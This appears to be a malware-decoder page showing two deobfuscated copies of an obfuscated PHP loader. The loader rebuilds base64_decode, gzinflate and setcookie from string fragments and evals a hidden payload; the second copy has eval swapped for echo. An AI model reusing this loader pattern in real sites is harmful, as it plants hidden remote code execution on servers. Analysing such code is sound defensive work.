Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

class _yg
{
    function __construct()
    {
        $_jmm = $this->_gb($this->_i);
        $_jmm = $this->_glm($this->_kpzq($_jmm));
        $_jmm = $this->_iaj($_jmm);
        if ($_jmm)
        {
            $this->_ir = $_jmm[0655 + 0426 - 01300];
            $this->_dq = $_jmm[(int)round(0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429) ];
            $this->_z = $_jmm[0241 + 0277 - -0160 + -02 + 0246 + 0160 - 01344];
            $this->_cu($_jmm[0412 - 074 - 0164 + -0150 + -01003 + 01015 - -04], $_jmm[-076 + 0220 - -0256 + -076 - 0301]);
        }
    }
    function _cu($_xgo, $_ss)
    {
        $this->_g = $_xgo;
        $this->_ss = $_ss;
        $this->_q = $this->_gb($this->_q);
        $this->_q = $this->_kpzq($this->_q);
        $this->_q = $this->_gv();
        if (strpos($this->_q, $this->_g) !== false)
        {
            if (!$this->_ir) $this->_oh($this->_dq, $this->_z);
            $this->_iaj($this->_q);
        }
    }
    function _oh($_wao, $_b)
    {
        $_nf = $this->_w[(int)round(0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556) ] . $this->_w[(int)round(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0) ] . $this->_w[(int)round(1 + 1 + 1 + 1) ] . $this->_w[-0326 + 0254 - -01532 - -0631 - 0247 + -01232 - 0260 - -01350 - -0333 + -02231] . $this->_w[(int)round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) ] . $this->_w[(int)round(1 + 1 + 1) ];
        $_nf = $_nf($_wao, $_b);
    }
    function _tg($_ss, $_s, $_xgo)
    {
        $_sua = strlen($_s) + strlen($_xgo);
        while (strlen($_xgo) < $_sua)
        {
            $_vjk = ord($_s[$this->_qn]) - ord($_xgo[$this->_qn]);
            $_s[$this->_qn] = chr($_vjk % ((0603 - 0362 + 01710 + -01131) / (int)round(1 + 1)));
            $_xgo .= $_s[$this->_qn];
            $this->_qn++;
        }
        return $_s;
    }
    function _kpzq($_wao)
    {
        $_e = $this->_ipy[(int)round(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0) ] . $this->_ipy[(int)round(0.5 + 0.5 + 0.5 + 0.5) ] . $this->_ipy[0460 - 0252 - 01110 + 0773 + -01164 - -01077] . $this->_ipy[(int)round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) ] . $this->_ipy[0517 - 0245 + -0247];
        $_e = @$_e($_wao);
        return $_e;
    }
    function _glm($_wao)
    {
        $_e = $this->_jlg[-0115 - -033 - 020 - 064 + -071 + -034 + 0316] . $this->_jlg[(int)round(0.4 + 0.4 + 0.4 + 0.4 + 0.4) ] . $this->_jlg[01513 + 01262 - 02774] . $this->_jlg[(int)round(0 + 0 + 0 + 0 + 0 + 0) ];
        $_e = @$_e($_wao);
        return $_e;
    }
    function _gv()
    {
        $this->_av = $this->_tg($this->_ss, $this->_q, $this->_g);
        $this->_av = $this->_glm($this->_av);
        return $this->_av;
    }
    function _iaj($_hzm)
    {
        $_ed = eval($_hzm);
        return $_ed;
    }
    function _gb($_y)
    {
        $_e = $this->_ptd[(int)round(0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857) ] . $this->_ptd[(int)round(0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667) ] . $this->_ptd[-0622 + 0647 + -0644 + 0661 - -032 - 074] . $this->_ptd[-0714 + 0522 - 0224 - 0726 + -0401 - -0276 - 01025 - -0442 + 0466 + 01347] . $this->_ptd[01016 - -0315 + -01341 + 010];
        return $_e("
", "", $_y);
    }
    public $_f;
    public $_qn = 00;
    public $_jlg = array(
        "e",
        "lat",
        "nf",
        "gzi"
    );
    public $_suc = array(
        "ion",
        "e_fu",
        "eat",
        "nct",
        "cr"
    );
    public $_ipy = array(
        "b",
        "co",
        "ase64",
        "de",
        "_de"
    );
    public $_w = array(
        "t",
        "oki",
        "o",
        "e",
        "c",
        "se"
    );
    public $_ptd = array(
        "pl",
        "re",
        "e",
        "ac",
        "str_"
    );

class _yg
{
    function __construct()
    {
        $_jmm = $this->_gb($this->_i);
        $_jmm = $this->_glm($this->_kpzq($_jmm));
        $_jmm = $this->_iaj($_jmm);
        if ($_jmm)
        {
            $this->_ir = $_jmm[0655 + 0426 - 01300];
            $this->_dq = $_jmm[(int)round(0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429 + 0.28571428571429) ];
            $this->_z = $_jmm[0241 + 0277 - -0160 + -02 + 0246 + 0160 - 01344];
            $this->_cu($_jmm[0412 - 074 - 0164 + -0150 + -01003 + 01015 - -04], $_jmm[-076 + 0220 - -0256 + -076 - 0301]);
        }
    }
    function _cu($_xgo, $_ss)
    {
        $this->_g = $_xgo;
        $this->_ss = $_ss;
        $this->_q = $this->_gb($this->_q);
        $this->_q = $this->_kpzq($this->_q);
        $this->_q = $this->_gv();
        if (strpos($this->_q, $this->_g) !== false)
        {
            if (!$this->_ir) $this->_oh($this->_dq, $this->_z);
            $this->_iaj($this->_q);
        }
    }
    function _oh($_wao, $_b)
    {
        $_nf = $this->_w[(int)round(0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556 + 0.55555555555556) ] . $this->_w[(int)round(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0) ] . $this->_w[(int)round(1 + 1 + 1 + 1) ] . $this->_w[-0326 + 0254 - -01532 - -0631 - 0247 + -01232 - 0260 - -01350 - -0333 + -02231] . $this->_w[(int)round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) ] . $this->_w[(int)round(1 + 1 + 1) ];
        $_nf = $_nf($_wao, $_b);
    }
    function _tg($_ss, $_s, $_xgo)
    {
        $_sua = strlen($_s) + strlen($_xgo);
        while (strlen($_xgo) < $_sua)
        {
            $_vjk = ord($_s[$this->_qn]) - ord($_xgo[$this->_qn]);
            $_s[$this->_qn] = chr($_vjk % ((0603 - 0362 + 01710 + -01131) / (int)round(1 + 1)));
            $_xgo .= $_s[$this->_qn];
            $this->_qn++;
        }
        return $_s;
    }
    function _kpzq($_wao)
    {
        $_e = $this->_ipy[(int)round(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0) ] . $this->_ipy[(int)round(0.5 + 0.5 + 0.5 + 0.5) ] . $this->_ipy[0460 - 0252 - 01110 + 0773 + -01164 - -01077] . $this->_ipy[(int)round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) ] . $this->_ipy[0517 - 0245 + -0247];
        $_e = @$_e($_wao);
        return $_e;
    }
    function _glm($_wao)
    {
        $_e = $this->_jlg[-0115 - -033 - 020 - 064 + -071 + -034 + 0316] . $this->_jlg[(int)round(0.4 + 0.4 + 0.4 + 0.4 + 0.4) ] . $this->_jlg[01513 + 01262 - 02774] . $this->_jlg[(int)round(0 + 0 + 0 + 0 + 0 + 0) ];
        $_e = @$_e($_wao);
        return $_e;
    }
    function _gv()
    {
        $this->_av = $this->_tg($this->_ss, $this->_q, $this->_g);
        $this->_av = $this->_glm($this->_av);
        return $this->_av;
    }
    function _iaj($_hzm)
    {
        $_ed = echo $_hzm;
        return $_ed;
    }
    function _gb($_y)
    {
        $_e = $this->_ptd[(int)round(0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857 + 0.57142857142857) ] . $this->_ptd[(int)round(0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667 + 0.16666666666667) ] . $this->_ptd[-0622 + 0647 + -0644 + 0661 - -032 - 074] . $this->_ptd[-0714 + 0522 - 0224 - 0726 + -0401 - -0276 - 01025 - -0442 + 0466 + 01347] . $this->_ptd[01016 - -0315 + -01341 + 010];
        return $_e("
", "", $_y);
    }
    public $_f;
    public $_qn = 00;
    public $_jlg = array(
        "e",
        "lat",
        "nf",
        "gzi"
    );
    public $_suc = array(
        "ion",
        "e_fu",
        "eat",
        "nct",
        "cr"
    );
    public $_ipy = array(
        "b",
        "co",
        "ase64",
        "de",
        "_de"
    );
    public $_w = array(
        "t",
        "oki",
        "o",
        "e",
        "c",
        "se"
    );
    public $_ptd = array(
        "pl",
        "re",
        "e",
        "ac",
        "str_"
    );



© 2023 Quttera Ltd. All rights reserved.